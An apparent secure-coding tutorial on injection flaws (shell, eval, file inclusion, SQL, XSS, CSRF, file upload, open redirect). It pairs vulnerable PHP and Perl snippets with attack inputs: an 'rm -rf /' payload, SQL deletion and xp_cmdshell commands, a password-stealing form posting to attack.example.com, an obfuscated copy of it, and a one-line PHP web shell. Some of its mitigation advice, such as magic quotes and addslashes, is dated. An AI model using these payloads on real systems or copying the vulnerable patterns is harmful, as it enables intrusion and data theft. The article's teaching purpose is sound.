Programmers keep catching the same diseases. A flaw gets discovered, fixed, forgotten, and then reintroduced by someone who never saw it the first time. The idea behind a vaccine is simple: expose newcomers to the mistake early, in a controlled way, so their instincts develop resistance before they ship anything real.

This is the first dose. It covers code injection.

Shell injection

Start with a short Perl script:

use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

$name arrives straight from the user and gets dropped into a shell command. If a visitor sends:

example.com%20%3B%20/bin/ls%20-l

the command the server actually runs becomes:

/path/to/nslookup example.com ; /bin/ls -l

The semicolon ends the nslookup call, and the shell treats everything after it as a fresh command. Whatever the attacker wants, the server runs.

PHP has its own version of the problem:

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Whatever lands in eval is treated as PHP source, so extra statements slip through. Set arg to 10; system('rm -rf /') and the second half executes — the server runs code its developer never intended. The consequences of rm -rf / are worth thinking about carefully.

Here is another PHP snippet:

$isadmin= false;
...
...
foreach ($_GET as $key => $value) {
  $$key = $value;
}

An attacker who passes isadmin=1 in the query string sets $isadmin to "1" and walks away with admin rights on the application.

One more:

$action = 'login';
   if (__isset( $_GET['act'] ) )
      $action = $_GET['act'];
   require( $action . '.php' );

This one opens several doors at once. An attacker can:

  • /test.php?act=http://evil/exploit — pull in a vulnerable file from a remote machine.
  • /test.php?act=/home/www/bbs/upload/exploit — execute code from an already-uploaded file named exploit.php.
  • /test.php?act=../../../../etc/passwd%00 — use a null byte to strip the .php extension restriction and read the password file. (PHP's default magic_quotes_gpc = On setting puts a stop to this particular trick.)

The pattern repeats anywhere user input reaches system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start(), or anything similar. Never let a user-supplied string get assembled into one of those calls. PHP ships escapeshellarg() and escapeshellcmd() for encoding arguments beforehand, but treating them as a guarantee of safety is a mistake.

SQL injection

SQL injection is a vulnerability at the database layer. A crafted input string carries SQL commands of its own, and an application that skips validation lets the database server treat those commands as legitimate instructions. The result is data loss, data theft, or worse.

An application is at high risk when:

  1. SQL statements are built by concatenating strings (for example, quotes are not escaped).
  2. The database connection uses an over-privileged account — plenty of developers connect to Microsoft SQL Server as sa, the all-powerful system administrator.
  3. The database exposes unnecessary but powerful features, such as SQL Server's xp_cmdshell or OLE Automation stored procedures.
  4. User input is trusted too readily: length is not capped, and incoming data is never checked for hidden instructions.

A typical example is a login check:

strSQL = "SELECT * FROM users
WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

A user submits these credentials:

userName = "' OR '1'='1";

passWord = "' OR '1'='1";

The string is parsed as:

strSQL = "SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"

Which collapses to:

strSQL = "SELECT * FROM users;"

The site logs in anyone, with no account and no password.

That is the mild version. The nastier one appends a statement of the attacker's choosing:

username= "' ; DELETE FROM users; --";

Now either the entire table is stolen or the entire table is gone. This is why SQL injection is sometimes described as the hacker's fill-in-the-blank game.

SQL injection attack

When attackers find an injectable site, they usually go after:

  • Table data — personal records like credit card numbers, ID numbers, phone numbers, contact lists, plus account details and passwords. Once they have user information, they run social engineering campaigns against those users.
  • Administrative access, for instance ALTER LOGIN sa WITH PASSWORD='xxxxxx'.
  • Stored HTML or JavaScript, which can plant malicious links and XSS payloads on the site and compromise every visitor.
  • Operating system control through database features. On SQL Server, xp_cmdshell "net stop iisadmin" halts IIS; xp_cmdshell "FORMAT C:" destroys the disk and takes the whole machine down.

Modern attackers tend to skip the destructive part, since wrecking a server earns them nothing. They would rather harvest account details and pivot to the user's other accounts — game logins, online banking, messaging accounts — where money actually changes hands. That is a good reason to use a different password, and even different identifying details, on every site you register with.

Avoiding it

  • Escape parameters before building the SQL string — replace a single quote with two single quotes, for example. In PHP, the magic quotes feature does this automatically for incoming parameters. Where possible, filter out semicolons ;, double dashes --, single quotes ', and comment markers /* … */. Since injection usually relies on closing a quote, escaping quotes alone removes most of the danger.
  • Strip or replace dangerous characters. PHP's addslashes() is one common option.
  • Cap input length and constrain the range of accepted values.
  • Give the application a low-privilege database user, so a breach does not hand over the administrator account.
  • Wrap database work in a service. For sensitive data, return only one record per client IP within a given time window. That makes bulk extraction far harder.

Cross-site scripting (XSS)

Cross-site scripting is a code injection flaw in a web application. An attacker finds a way to insert malicious instructions into a page, and the victim's browser loads and runs them. The payload is usually JavaScript, but it can also be Java, VBScript, ActiveX, Flash, or plain HTML. A successful attack can grant the attacker elevated privileges, expose private page content, or hand over session data and cookies.

Given this PHP:

$username = $_GET['username'];
echo '<div> Welcome, ' . $username . '</div>';

An attacker can inject:

http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

Or something considerably more useful to them:

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div>

Which renders as:

<div class="header"> Welcome,
    <div id="stealPassword">Please Login:
        <form name="input" action="attack.example.com/stealPassword.php" method="post">
            Username: <input type="text" name="username" />
            <br/>
            Password: <input type="password" name="password" />
            <input type="submit" value="Login" />
        </form>
    </div>
</div>

There are subtler variants too, using Unicode escapes to hide the payload:

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');
</script>

XSS works by running JavaScript with the victim's already-authenticated cookie, either to impersonate them or to steal the cookie outright. The victim ends up performing actions they never chose. If the victim happens to be an administrator, backend access can be stolen along with it.

Forum signature fields are a favorite target — anywhere an img tag is allowed. Sites that render BBCode-style markup are especially exposed, since browser-executable code can sneak through. Even CSS can carry injected JavaScript.

Not every XSS hole comes from your own markup. Pulling in a JavaScript file from another site — a weather widget, a traffic counter, an ad script — means you have no idea whether it is safe. If it is malicious, you have injected the attack yourself.

Some of these flaws live in the browser rather than the application. Consider a few cases that rarely cross a developer's mind:

<table background="javascript:alert(1)">

<meta charset="mac-farsi">¼script¾alert(1)¼/script¾

<img src="javascript:alert(1)">

XSS often pairs with CSRF. A CSRF attack places a link to site B inside site A, then relies on the victim's still-valid cookie for site B. Modern browsers keep many tabs open at once and share cookies across those pages, which is exactly what makes this work.

So if a post on site A contains:

<img src="/images/98a3cba83b60f87389809213e5dd66d13e14e15ad71ac6a8e9e61c5a044a11bc.png">

there is a real chance that viewing that post quietly moves money out of your bank account.

Avoiding it

  • Restrict input tightly. Ideally, do not let users submit anything containing tags, and avoid rich-text/WYSIWYG editors.
  • Filter what comes in. Options include PHP's htmlentities(), htmlspecialchars(), or strip_tags(); Python's cgi.escape(); ASP's Server.HTMLEncode(); Node.js's node-validator; and Java's xssprotect.
  • For critical actions, never trust the cookie alone. Require the password again for changing it, making payments, changing an email address, or viewing sensitive information.
  • Keep cookie lifetimes short.
  • Against CSRF: check the HTTP referer header, avoid GET requests that modify data, and have the backend generate a random token for each submitted form that an attacker cannot easily forge. Use a well-tested library for token generation.

It is tempting to think form handling is the whole story. It is not. Consider webmail: anyone can send a message containing JavaScript, images, or Flash to a victim's inbox, and simply opening it triggers the payload. That is why webmail clients block images and attachments by default — they are dangerous unless you fully trust the source. SMTP itself offers almost no way to verify the sending server. Anyone can stand up a local mail server and put whatever address they like in the From field. Use a mail provider that takes this seriously.

File uploads

File upload is a genuinely dangerous feature, particularly when the file type is never validated. The attack is brutal in its simplicity: if a user uploads a PHP, ASP, or JSP file and someone later requests it, the server interprets and executes it. That is remote code execution on your machine.

A basic upload form:

<form action="upload_picture.php" method="post" enctype="multipart/form-data">
File to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>

And its handler:

$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
    echo "Image uploaded successfully";
}else{
    echo "Image upload failed";
}

Now suppose someone uploads this as their "picture":

<?php
system($_GET['cmd']);
?>

They can then hit your server with:

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

Two defenses matter here:

  1. Restrict the file extensions you accept.
  2. Never run your web application as root or Administrator.

URL redirection

Open redirects are a convenient tool for attackers. A common pattern looks like this:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

This shows up naturally: a user hits a page without permission, gets sent to login, and after logging in is returned to where they were. To make that work, the target page is usually carried in a URL parameter — which is exactly the code above.

The result is that a link like this can send a visitor anywhere:

http://bank.example.com/redirect?url=http://attacker.example.net

The deception is in the domain. The user sees http://bank.example.com, assumes it is legitimate, and clicks. The trusted site then hands them off to an attacker's page, which may be a pixel-perfect copy of the real one. The victim believes they are in the right place and gets phished.

The fix is straightforward: validate on the backend that the destination URL belongs to your own domain.

Search engines handle this well enough to be instructive. Baidu encrypts its redirect links. Google's links are long and contain the destination site in plain text alongside several encrypted parameters — strip those parameters out and Google shows an interstitial warning page instead of redirecting silently. The Google approach is the stronger one.